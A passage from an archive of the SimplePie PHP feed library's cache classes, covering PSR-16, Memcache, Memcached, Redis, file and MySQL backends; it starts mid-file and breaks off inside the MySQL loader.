use Psr\SimpleCache\InvalidArgumentException;
use Throwable;
/**
* Caches data into a PSR-16 cache implementation
*
* @internal
*/
final class Psr16 implements DataCache
{
/**
* PSR-16 cache implementation
*
* @var CacheInterface
*/
private $cache;
/**
* PSR-16 cache implementation
*
* @param CacheInterface $cache
*/
public function __construct(CacheInterface $cache)
{
$this->cache = $cache;
}
/**
* Fetches a value from the cache.
*
* Equivalent to \Psr\SimpleCache\CacheInterface::get()
* <code>
* public function get(string $key, mixed $default = null): mixed;
* </code>
*
* @param string $key The unique key of this item in the cache.
* @param mixed $default Default value to return if the key does not exist.
*
* @return array|mixed The value of the item from the cache, or $default in case of cache miss.
*
* @throws InvalidArgumentException&Throwable
* MUST be thrown if the $key string is not a legal value.
*/
public function get_data(string $key, $default = null)
{
$data = $this->cache->get($key, $default);
if (!is_array($data) || $data === $default) {
return $default;
}
return $data;
}
/**
* Persists data in the cache, uniquely referenced by a key with an optional expiration TTL time.
*
* Equivalent to \Psr\SimpleCache\CacheInterface::set()
* <code>
* public function set(string $key, mixed $value, null|int|\DateInterval $ttl = null): bool;
* </code>
*
* @param string $key The key of the item to store.
* @param array<mixed> $value The value of the item to store, must be serializable.
* @param null|int $ttl Optional. The TTL value of this item. If no value is sent and
* the driver supports TTL then the library may set a default value
* for it or let the driver take care of that.
*
* @return bool True on success and false on failure.
*
* @throws InvalidArgumentException&Throwable
* MUST be thrown if the $key string is not a legal value.
*/
public function set_data(string $key, array $value, ?int $ttl = null): bool
{
return $this->cache->set($key, $value, $ttl);
}
/**
* Delete an item from the cache by its unique key.
*
* Equivalent to \Psr\SimpleCache\CacheInterface::delete()
* <code>
* public function delete(string $key): bool;
* </code>
*
* @param string $key The unique cache key of the item to delete.
*
* @return bool True if the item was successfully removed. False if there was an error.
*
* @throws InvalidArgumentException&Throwable
* MUST be thrown if the $key string is not a legal value.
*/
public function delete_data(string $key): bool
{
return $this->cache->delete($key);
}
}
src/Cache/Memcached.php 0000644 00000007365 15220516755 0010740 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-FileCopyrightText: 2015 Paul L. McNeely
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie\Cache;
use Memcached as NativeMemcached;
/**
* Caches data to memcached
*
* Registered for URLs with the "memcached" protocol
*
* For example, `memcached://localhost:11211/?timeout=3600&prefix=sp_` will
* connect to memcached on `localhost` on port 11211. All tables will be
* prefixed with `sp_` and data will expire after 3600 seconds
*
* @uses Memcached
* @deprecated since SimplePie 1.8.0, use implementation of "Psr\SimpleCache\CacheInterface" instead
*/
class Memcached implements Base
{
/**
* NativeMemcached instance
* @var NativeMemcached
*/
protected $cache;
/**
* Options
* @var array<string, mixed>
*/
protected $options;
/**
* Cache name
* @var string
*/
protected $name;
/**
* Create a new cache object
* @param string $location Location string (from SimplePie::$cache_location)
* @param string $name Unique ID for the cache
* @param Base::TYPE_FEED|Base::TYPE_IMAGE $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
*/
public function __construct(string $location, string $name, $type)
{
$this->options = [
'host' => '127.0.0.1',
'port' => 11211,
'extras' => [
'timeout' => 3600, // one hour
'prefix' => 'simplepie_',
],
];
$this->options = array_replace_recursive($this->options, \SimplePie\Cache::parse_URL($location));
$this->name = $this->options['extras']['prefix'] . md5("$name:$type");
$this->cache = new NativeMemcached();
$this->cache->addServer($this->options['host'], (int)$this->options['port']);
}
/**
* Save data to the cache
* @param array<mixed>|\SimplePie\SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
* @return bool Successfulness
*/
public function save($data)
{
if ($data instanceof \SimplePie\SimplePie) {
$data = $data->data;
}
return $this->setData(serialize($data));
}
/**
* Retrieve the data saved to the cache
* @return array<mixed>|false Data for SimplePie::$data
*/
public function load()
{
$data = $this->cache->get($this->name);
if ($data !== false) {
return unserialize($data);
}
return false;
}
/**
* Retrieve the last modified time for the cache
* @return int Timestamp
*/
public function mtime()
{
$data = $this->cache->get($this->name . '_mtime');
return (int) $data;
}
/**
* Set the last modified time to the current time
* @return bool Success status
*/
public function touch()
{
$data = $this->cache->get($this->name);
return $this->setData($data);
}
/**
* Remove the cache
* @return bool Success status
*/
public function unlink()
{
return $this->cache->delete($this->name, 0);
}
/**
* Set the last modified time and data to NativeMemcached
* @param string|false $data
* @return bool Success status
*/
private function setData($data): bool
{
if ($data !== false) {
$this->cache->set($this->name . '_mtime', time(), (int)$this->options['extras']['timeout']);
return $this->cache->set($this->name, $data, (int)$this->options['extras']['timeout']);
}
return false;
}
}
class_alias('SimplePie\Cache\Memcached', 'SimplePie_Cache_Memcached');
src/Cache/File.php 0000644 00000005641 15220516755 0007744 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie\Cache;
/**
* Caches data to the filesystem
*
* @deprecated since SimplePie 1.8.0, use implementation of "Psr\SimpleCache\CacheInterface" instead
*/
class File implements Base
{
/**
* Location string
*
* @see SimplePie::$cache_location
* @var string
*/
protected $location;
/**
* Filename
*
* @var string
*/
protected $filename;
/**
* File extension
*
* @var string
*/
protected $extension;
/**
* File path
*
* @var string
*/
protected $name;
/**
* Create a new cache object
*
* @param string $location Location string (from SimplePie::$cache_location)
* @param string $name Unique ID for the cache
* @param Base::TYPE_FEED|Base::TYPE_IMAGE $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
*/
public function __construct(string $location, string $name, $type)
{
$this->location = $location;
$this->filename = $name;
$this->extension = $type;
$this->name = "$this->location/$this->filename.$this->extension";
}
/**
* Save data to the cache
*
* @param array<mixed>|\SimplePie\SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
* @return bool Successfulness
*/
public function save($data)
{
if (file_exists($this->name) && is_writable($this->name) || file_exists($this->location) && is_writable($this->location)) {
if ($data instanceof \SimplePie\SimplePie) {
$data = $data->data;
}
$data = serialize($data);
return (bool) file_put_contents($this->name, $data);
}
return false;
}
/**
* Retrieve the data saved to the cache
*
* @return array<mixed>|false Data for SimplePie::$data
*/
public function load()
{
if (file_exists($this->name) && is_readable($this->name)) {
return unserialize((string) file_get_contents($this->name));
}
return false;
}
/**
* Retrieve the last modified time for the cache
*
* @return int|false Timestamp
*/
public function mtime()
{
return @filemtime($this->name);
}
/**
* Set the last modified time to the current time
*
* @return bool Success status
*/
public function touch()
{
return @touch($this->name);
}
/**
* Remove the cache
*
* @return bool Success status
*/
public function unlink()
{
if (file_exists($this->name)) {
return unlink($this->name);
}
return false;
}
}
class_alias('SimplePie\Cache\File', 'SimplePie_Cache_File');
src/Cache/Base.php 0000644 00000003526 15220516755 0007737 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie\Cache;
/**
* Base for cache objects
*
* Classes to be used with {@see \SimplePie\Cache::register()} are expected
* to implement this interface.
*
* @deprecated since SimplePie 1.8.0, use "Psr\SimpleCache\CacheInterface" instead
*/
interface Base
{
/**
* Feed cache type
*
* @var string
*/
public const TYPE_FEED = 'spc';
/**
* Image cache type
*
* @var string
*/
public const TYPE_IMAGE = 'spi';
/**
* Create a new cache object
*
* @param string $location Location string (from SimplePie::$cache_location)
* @param string $name Unique ID for the cache
* @param Base::TYPE_FEED|Base::TYPE_IMAGE $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
*/
public function __construct(string $location, string $name, $type);
/**
* Save data to the cache
*
* @param array<mixed>|\SimplePie\SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
* @return bool Successfulness
*/
public function save($data);
/**
* Retrieve the data saved to the cache
*
* @return array<mixed> Data for SimplePie::$data
*/
public function load();
/**
* Retrieve the last modified time for the cache
*
* @return int Timestamp
*/
public function mtime();
/**
* Set the last modified time to the current time
*
* @return bool Success status
*/
public function touch();
/**
* Remove the cache
*
* @return bool Success status
*/
public function unlink();
}
class_alias('SimplePie\Cache\Base', 'SimplePie_Cache_Base');
src/Cache/BaseDataCache.php 0000644 00000007003 15220516755 0011447 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie\Cache;
use InvalidArgumentException;
/**
* Adapter for deprecated \SimplePie\Cache\Base implementations
*
* @internal
*/
final class BaseDataCache implements DataCache
{
/**
* @var Base
*/
private $cache;
public function __construct(Base $cache)
{
$this->cache = $cache;
}
/**
* Fetches a value from the cache.
*
* Equivalent to \Psr\SimpleCache\CacheInterface::get()
* <code>
* public function get(string $key, mixed $default = null): mixed;
* </code>
*
* @param string $key The unique key of this item in the cache.
* @param mixed $default Default value to return if the key does not exist.
*
* @return array|mixed The value of the item from the cache, or $default in case of cache miss.
*
* @throws InvalidArgumentException
* MUST be thrown if the $key string is not a legal value.
*/
public function get_data(string $key, $default = null)
{
$data = $this->cache->load();
if (!is_array($data)) {
return $default;
}
// ignore data if internal cache expiration time is not set
if (!array_key_exists('__cache_expiration_time', $data)) {
return $default;
}
// ignore data if internal cache expiration time is expired
if ($data['__cache_expiration_time'] < time()) {
return $default;
}
// remove internal cache expiration time
unset($data['__cache_expiration_time']);
return $data;
}
/**
* Persists data in the cache, uniquely referenced by a key with an optional expiration TTL time.
*
* Equivalent to \Psr\SimpleCache\CacheInterface::set()
* <code>
* public function set(string $key, mixed $value, null|int|\DateInterval $ttl = null): bool;
* </code>
*
* @param string $key The key of the item to store.
* @param array<mixed> $value The value of the item to store, must be serializable.
* @param null|int $ttl Optional. The TTL value of this item. If no value is sent and
* the driver supports TTL then the library may set a default value
* for it or let the driver take care of that.
*
* @return bool True on success and false on failure.
*
* @throws InvalidArgumentException
* MUST be thrown if the $key string is not a legal value.
*/
public function set_data(string $key, array $value, ?int $ttl = null): bool
{
if ($ttl === null) {
$ttl = 3600;
}
// place internal cache expiration time
$value['__cache_expiration_time'] = time() + $ttl;
return $this->cache->save($value);
}
/**
* Delete an item from the cache by its unique key.
*
* Equivalent to \Psr\SimpleCache\CacheInterface::delete()
* <code>
* public function delete(string $key): bool;
* </code>
*
* @param string $key The unique cache key of the item to delete.
*
* @return bool True if the item was successfully removed. False if there was an error.
*
* @throws InvalidArgumentException
* MUST be thrown if the $key string is not a legal value.
*/
public function delete_data(string $key): bool
{
return $this->cache->unlink();
}
}
src/Cache/Redis.php 0000644 00000010321 15220516755 0010122 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-FileCopyrightText: 2015 Jan Kozak <galvani78@gmail.com>
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie\Cache;
use Redis as NativeRedis;
/**
* Caches data to redis
*
* Registered for URLs with the "redis" protocol
*
* For example, `redis://localhost:6379/?timeout=3600&prefix=sp_&dbIndex=0` will
* connect to redis on `localhost` on port 6379. All tables will be
* prefixed with `simple_primary-` and data will expire after 3600 seconds
*
* @uses Redis
* @deprecated since SimplePie 1.8.0, use implementation of "Psr\SimpleCache\CacheInterface" instead
*/
class Redis implements Base
{
/**
* Redis instance
*
* @var NativeRedis
*/
protected $cache;
/**
* Options
*
* @var array<string, mixed>
*/
protected $options;
/**
* Cache name
*
* @var string
*/
protected $name;
/**
* Create a new cache object
*
* @param string $location Location string (from SimplePie::$cache_location)
* @param string $name Unique ID for the cache
* @param Base::TYPE_FEED|Base::TYPE_IMAGE|array<string, mixed>|null $options Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
*/
public function __construct(string $location, string $name, $options = null)
{
//$this->cache = \flow\simple\cache\Redis::getRedisClientInstance();
$parsed = \SimplePie\Cache::parse_URL($location);
$redis = new NativeRedis();
$redis->connect($parsed['host'], $parsed['port']);
if (isset($parsed['pass'])) {
$redis->auth($parsed['pass']);
}
if (isset($parsed['path'])) {
$redis->select((int)substr($parsed['path'], 1));
}
$this->cache = $redis;
if (!is_null($options) && is_array($options)) {
$this->options = $options;
} else {
$this->options = [
'prefix' => 'rss:simple_primary:',
'expire' => 0,
];
}
$this->name = $this->options['prefix'] . $name;
}
/**
* @param NativeRedis $cache
* @return void
*/
public function setRedisClient(NativeRedis $cache)
{
$this->cache = $cache;
}
/**
* Save data to the cache
*
* @param array<mixed>|\SimplePie\SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
* @return bool Successfulness
*/
public function save($data)
{
if ($data instanceof \SimplePie\SimplePie) {
$data = $data->data;
}
$response = $this->cache->set($this->name, serialize($data));
if ($this->options['expire']) {
$this->cache->expire($this->name, $this->options['expire']);
}
return $response;
}
/**
* Retrieve the data saved to the cache
*
* @return array<mixed>|false Data for SimplePie::$data
*/
public function load()
{
$data = $this->cache->get($this->name);
if ($data !== false) {
return unserialize($data);
}
return false;
}
/**
* Retrieve the last modified time for the cache
*
* @return int|false Timestamp
*/
public function mtime()
{
$data = $this->cache->get($this->name);
if ($data !== false) {
return time();
}
return false;
}
/**
* Set the last modified time to the current time
*
* @return bool Success status
*/
public function touch()
{
$data = $this->cache->get($this->name);
if ($data !== false) {
$return = $this->cache->set($this->name, $data);
if ($this->options['expire']) {
return $this->cache->expire($this->name, $this->options['expire']);
}
return $return;
}
return false;
}
/**
* Remove the cache
*
* @return bool Success status
*/
public function unlink()
{
return $this->cache->set($this->name, null);
}
}
class_alias('SimplePie\Cache\Redis', 'SimplePie_Cache_Redis');
src/Cache/Memcache.php 0000644 00000007200 15220516755 0010560 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie\Cache;
use Memcache as NativeMemcache;
/**
* Caches data to memcache
*
* Registered for URLs with the "memcache" protocol
*
* For example, `memcache://localhost:11211/?timeout=3600&prefix=sp_` will
* connect to memcache on `localhost` on port 11211. All tables will be
* prefixed with `sp_` and data will expire after 3600 seconds
*
* @uses Memcache
* @deprecated since SimplePie 1.8.0, use implementation of "Psr\SimpleCache\CacheInterface" instead
*/
class Memcache implements Base
{
/**
* Memcache instance
*
* @var NativeMemcache
*/
protected $cache;
/**
* Options
*
* @var array<string, mixed>
*/
protected $options;
/**
* Cache name
*
* @var string
*/
protected $name;
/**
* Create a new cache object
*
* @param string $location Location string (from SimplePie::$cache_location)
* @param string $name Unique ID for the cache
* @param Base::TYPE_FEED|Base::TYPE_IMAGE $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
*/
public function __construct(string $location, string $name, $type)
{
$this->options = [
'host' => '127.0.0.1',
'port' => 11211,
'extras' => [
'timeout' => 3600, // one hour
'prefix' => 'simplepie_',
],
];
$this->options = array_replace_recursive($this->options, \SimplePie\Cache::parse_URL($location));
$this->name = $this->options['extras']['prefix'] . md5("$name:$type");
$this->cache = new NativeMemcache();
$this->cache->addServer($this->options['host'], (int) $this->options['port']);
}
/**
* Save data to the cache
*
* @param array<mixed>|\SimplePie\SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
* @return bool Successfulness
*/
public function save($data)
{
if ($data instanceof \SimplePie\SimplePie) {
$data = $data->data;
}
return $this->cache->set($this->name, serialize($data), MEMCACHE_COMPRESSED, (int) $this->options['extras']['timeout']);
}
/**
* Retrieve the data saved to the cache
*
* @return array<mixed>|false Data for SimplePie::$data
*/
public function load()
{
$data = $this->cache->get($this->name);
if ($data !== false) {
return unserialize($data);
}
return false;
}
/**
* Retrieve the last modified time for the cache
*
* @return int|false Timestamp
*/
public function mtime()
{
$data = $this->cache->get($this->name);
if ($data !== false) {
// essentially ignore the mtime because Memcache expires on its own
return time();
}
return false;
}
/**
* Set the last modified time to the current time
*
* @return bool Success status
*/
public function touch()
{
$data = $this->cache->get($this->name);
if ($data !== false) {
return $this->cache->set($this->name, $data, MEMCACHE_COMPRESSED, (int) $this->options['extras']['timeout']);
}
return false;
}
/**
* Remove the cache
*
* @return bool Success status
*/
public function unlink()
{
return $this->cache->delete($this->name, 0);
}
}
class_alias('SimplePie\Cache\Memcache', 'SimplePie_Cache_Memcache');
src/Cache/DataCache.php 0000644 00000005357 15220516755 0010666 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie\Cache;
use InvalidArgumentException;
/**
* Subset of PSR-16 Cache client for caching data arrays
*
* Only get(), set() and delete() methods are used,
* but not has(), getMultiple(), setMultiple() or deleteMultiple().
*
* The methods names must be different, but should be compatible to the
* methods of \Psr\SimpleCache\CacheInterface.
*
* @internal
*/
interface DataCache
{
/**
* Fetches a value from the cache.
*
* Equivalent to \Psr\SimpleCache\CacheInterface::get()
* <code>
* public function get(string $key, mixed $default = null): mixed;
* </code>
*
* @param string $key The unique key of this item in the cache.
* @param mixed $default Default value to return if the key does not exist.
*
* @return array|mixed The value of the item from the cache, or $default in case of cache miss.
*
* @throws InvalidArgumentException
* MUST be thrown if the $key string is not a legal value.
*/
public function get_data(string $key, $default = null);
/**
* Persists data in the cache, uniquely referenced by a key with an optional expiration TTL time.
*
* Equivalent to \Psr\SimpleCache\CacheInterface::set()
* <code>
* public function set(string $key, mixed $value, null|int|\DateInterval $ttl = null): bool;
* </code>
*
* @param string $key The key of the item to store.
* @param array<mixed> $value The value of the item to store, must be serializable.
* @param null|int $ttl Optional. The TTL value of this item. If no value is sent and
* the driver supports TTL then the library may set a default value
* for it or let the driver take care of that.
*
* @return bool True on success and false on failure.
*
* @throws InvalidArgumentException
* MUST be thrown if the $key string is not a legal value.
*/
public function set_data(string $key, array $value, ?int $ttl = null): bool;
/**
* Delete an item from the cache by its unique key.
*
* Equivalent to \Psr\SimpleCache\CacheInterface::delete()
* <code>
* public function delete(string $key): bool;
* </code>
*
* @param string $key The unique cache key of the item to delete.
*
* @return bool True if the item was successfully removed. False if there was an error.
*
* @throws InvalidArgumentException
* MUST be thrown if the $key string is not a legal value.
*/
public function delete_data(string $key): bool;
}
src/Cache/DB.php 0000644 00000007171 15220516755 0007352 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie\Cache;
use SimplePie\Item;
/**
* Base class for database-based caches
*
* @deprecated since SimplePie 1.8.0, use implementation of "Psr\SimpleCache\CacheInterface" instead
*/
abstract class DB implements Base
{
/**
* Helper for database conversion
*
* Converts a given {@see SimplePie} object into data to be stored
*
* @param \SimplePie\SimplePie $data
* @return array{string, array<string, Item>} First item is the serialized data for storage, second item is the unique ID for this item
*/
protected static function prepare_simplepie_object_for_cache(\SimplePie\SimplePie $data)
{
$items = $data->get_items();
$items_by_id = [];
if (!empty($items)) {
foreach ($items as $item) {
$items_by_id[$item->get_id()] = $item;
}
if (count($items_by_id) !== count($items)) {
$items_by_id = [];
foreach ($items as $item) {
$items_by_id[$item->get_id(true)] = $item;
}
}
if (isset($data->data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['feed'][0])) {
$channel = &$data->data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['feed'][0];
} elseif (isset($data->data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['feed'][0])) {
$channel = &$data->data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['feed'][0];
} elseif (isset($data->data['child'][\SimplePie\SimplePie::NAMESPACE_RDF]['RDF'][0])) {
$channel = &$data->data['child'][\SimplePie\SimplePie::NAMESPACE_RDF]['RDF'][0];
} elseif (isset($data->data['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['rss'][0]['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['channel'][0])) {
$channel = &$data->data['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['rss'][0]['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['channel'][0];
} else {
$channel = null;
}
if ($channel !== null) {
if (isset($channel['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['entry'])) {
unset($channel['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['entry']);
}
if (isset($channel['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['entry'])) {
unset($channel['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['entry']);
}
if (isset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_10]['item'])) {
unset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_10]['item']);
}
if (isset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_090]['item'])) {
unset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_090]['item']);
}
if (isset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['item'])) {
unset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['item']);
}
}
if (isset($data->data['items'])) {
unset($data->data['items']);
}
if (isset($data->data['ordered_items'])) {
unset($data->data['ordered_items']);
}
}
return [serialize($data->data), $items_by_id];
}
}
class_alias('SimplePie\Cache\DB', 'SimplePie_Cache_DB');
src/Cache/MySQL.php 0000644 00000032607 15220516755 0010034 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie\Cache;
/**
* Caches data to a MySQL database
*
* Registered for URLs with the "mysql" protocol
*
* For example, `mysql://root:password@localhost:3306/mydb?prefix=sp_` will
* connect to the `mydb` database on `localhost` on port 3306, with the user
* `root` and the password `password`. All tables will be prefixed with `sp_`
*
* @deprecated since SimplePie 1.8.0, use implementation of "Psr\SimpleCache\CacheInterface" instead
*/
class MySQL extends DB
{
/**
* PDO instance
*
* @var \PDO|null
*/
protected $mysql;
/**
* Options
*
* @var array<string, mixed>
*/
protected $options;
/**
* Cache ID
*
* @var string
*/
protected $id;
/**
* Create a new cache object
*
* @param string $location Location string (from SimplePie::$cache_location)
* @param string $name Unique ID for the cache
* @param Base::TYPE_FEED|Base::TYPE_IMAGE $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
*/
public function __construct(string $location, string $name, $type)
{
$this->options = [
'user' => null,
'pass' => null,
'host' => '127.0.0.1',
'port' => '3306',
'path' => '',
'extras' => [
'prefix' => '',
'cache_purge_time' => 2592000
],
];
$this->options = array_replace_recursive($this->options, \SimplePie\Cache::parse_URL($location));
// Path is prefixed with a "/"
$this->options['dbname'] = substr($this->options['path'], 1);
try {
$this->mysql = new \PDO("mysql:dbname={$this->options['dbname']};host={$this->options['host']};port={$this->options['port']}", $this->options['user'], $this->options['pass'], [\PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES utf8']);
} catch (\PDOException $e) {
$this->mysql = null;
return;
}
$this->id = $name . $type;
if (!$query = $this->mysql->query('SHOW TABLES')) {
$this->mysql = null;
return;
}
$db = [];
while ($row = $query->fetchColumn()) {
$db[] = $row;
}
if (!in_array($this->options['extras']['prefix'] . 'cache_data', $db)) {
$query = $this->mysql->exec('CREATE TABLE `' . $this->options['extras']['prefix'] . 'cache_data` (`id` TEXT CHARACTER SET utf8 NOT NULL, `items` SMALLINT NOT NULL DEFAULT 0, `data` BLOB NOT NULL, `mtime` INT UNSIGNED NOT NULL, UNIQUE (`id`(125)))');
if ($query === false) {
trigger_error("Can't create " . $this->options['extras']['prefix'] . "cache_data table, check permissions", \E_USER_WARNING);
$this->mysql = null;
return;
}
}
if (!in_array($this->options['extras']['prefix'] . 'items', $db)) {
$query = $this->mysql->exec('CREATE TABLE `' . $this->options['extras']['prefix'] . 'items` (`feed_id` TEXT CHARACTER SET utf8 NOT NULL, `id` TEXT CHARACTER SET utf8 NOT NULL, `data` MEDIUMBLOB NOT NULL, `posted` INT UNSIGNED NOT NULL, INDEX `feed_id` (`feed_id`(125)))');
if ($query === false) {
trigger_error("Can't create " . $this->options['extras']['prefix'] . "items table, check permissions", \E_USER_WARNING);
$this->mysql = null;
return;
}
}
}
/**
* Save data to the cache
*
* @param array<string>|\SimplePie\SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
* @return bool Successfulness
*/
public function save($data)
{
if ($this->mysql === null) {
return false;
}
$query = $this->mysql->prepare('DELETE i, cd FROM `' . $this->options['extras']['prefix'] . 'cache_data` cd, ' .
'`' . $this->options['extras']['prefix'] . 'items` i ' .
'WHERE cd.id = i.feed_id ' .
'AND cd.mtime < (unix_timestamp() - :purge_time)');
$query->bindValue(':purge_time', $this->options['extras']['cache_purge_time']);
if (!$query->execute()) {
return false;
}
if ($data instanceof \SimplePie\SimplePie) {
$data = clone $data;
$prepared = self::prepare_simplepie_object_for_cache($data);
$query = $this->mysql->prepare('SELECT COUNT(*) FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :feed');
$query->bindValue(':feed', $this->id);
if ($query->execute()) {
if ($query->fetchColumn() > 0) {
$items = count($prepared[1]);
if ($items) {
$sql = 'UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `items` = :items, `data` = :data, `mtime` = :time WHERE `id` = :feed';
$query = $this->mysql->prepare($sql);
$query->bindValue(':items', $items);
} else {
$sql = 'UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `data` = :data, `mtime` = :time WHERE `id` = :feed';
$query = $this->mysql->prepare($sql);
}
$query->bindValue(':data', $prepared[0]);
$query->bindValue(':time', time());
$query->bindValue(':feed', $this->id);
if (!$query->execute()) {
return false;
}
} else {
$query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'cache_data` (`id`, `items`, `data`, `mtime`) VALUES(:feed, :count, :data, :time)');
$query->bindValue(':feed', $this->id);
$query->bindValue(':count', count($prepared[1]));
$query->bindValue(':data', $prepared[0]);
$query->bindValue(':time', time());
if (!$query->execute()) {
return false;
}
}
$ids = array_keys($prepared[1]);
if (!empty($ids)) {
foreach ($ids as $id) {
$database_ids[] = $this->mysql->quote($id);
}
$query = $this->mysql->prepare('SELECT `id` FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `id` = ' . implode(' OR `id` = ', $database_ids) . ' AND `feed_id` = :feed');
$query->bindValue(':feed', $this->id);
if ($query->execute()) {
$existing_ids = [];
while ($row = $query->fetchColumn()) {
$existing_ids[] = $row;
}
$new_ids = array_diff($ids, $existing_ids);
foreach ($new_ids as $new_id) {
if (!($date = $prepared[1][$new_id]->get_date('U'))) {
$date = time();
}
$query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'items` (`feed_id`, `id`, `data`, `posted`) VALUES(:feed, :id, :data, :date)');
$query->bindValue(':feed', $this->id);
$query->bindValue(':id', $new_id);
$query->bindValue(':data', serialize($prepared[1][$new_id]->data));
$query->bindValue(':date', $date);
if (!$query->execute()) {
return false;
}
}
return true;
}
} else {
return true;
}
}
} else {
$query = $this->mysql->prepare('SELECT `id` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :feed');
$query->bindValue(':feed', $this->id);
if ($query->execute()) {
if ($query->rowCount() > 0) {
$query = $this->mysql->prepare('UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `items` = 0, `data` = :data, `mtime` = :time WHERE `id` = :feed');
$query->bindValue(':data', serialize($data));
$query->bindValue(':time', time());
$query->bindValue(':feed', $this->id);
if ($query->execute()) {
return true;
}
} else {
$query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'cache_data` (`id`, `items`, `data`, `mtime`) VALUES(:id, 0, :data, :time)');
$query->bindValue(':id', $this->id);
$query->bindValue(':data', serialize($data));
$query->bindValue(':time', time());
if ($query->execute()) {
return true;
}
}
}
}
return false;
}
/**
* Retrieve the data saved to the cache
*
* @return array<string>|false Data for SimplePie::$data
*/
public function load()
{
if ($this->mysql === null) {
return false;
}
$query = $this->mysql->prepare('SELECT `items`, `data` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id');
$query->bindValue(':id', $this->id);
if ($query->execute() && ($row = $query->fetch())) {
$data = unserialize($row[1]);
if (isset($this->options['items'][0])) {
$items = (int) $this->options['items'][0];
} else {
$items = (int) $row[0];
}
if ($items !== 0) {
if (isset($data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['feed'][0])) {
$feed = &$data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['feed'][0];
} elseif (isset($data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['feed'][0])) {
$feed = &$data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['feed'][0];
} elseif (isset($data['child'][\SimplePie\SimplePie::NAMESPACE_RDF]['RDF'][0])) {
$feed = &$data['child'][\SimplePie\SimplePie::NAMESPACE_RDF]['RDF'][0];
} elseif (isset($data['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['rss'][0])) {
$feed = &$data['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['rss'][0];
} else {
$feed = null;
}
if ($feed !== null) {
$sql = 'SELECT `data` FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `feed_id` = :feed ORDER BY `posted` DESC';
if ($items > 0) {
$sql .= ' LIMIT ' . $items;
}
$query = $this->mysql->prepare($sql);
$query->bindValue(':feed', $this->id);
if ($query->execute()) {
while ($row = $query->fetchColumn()) {
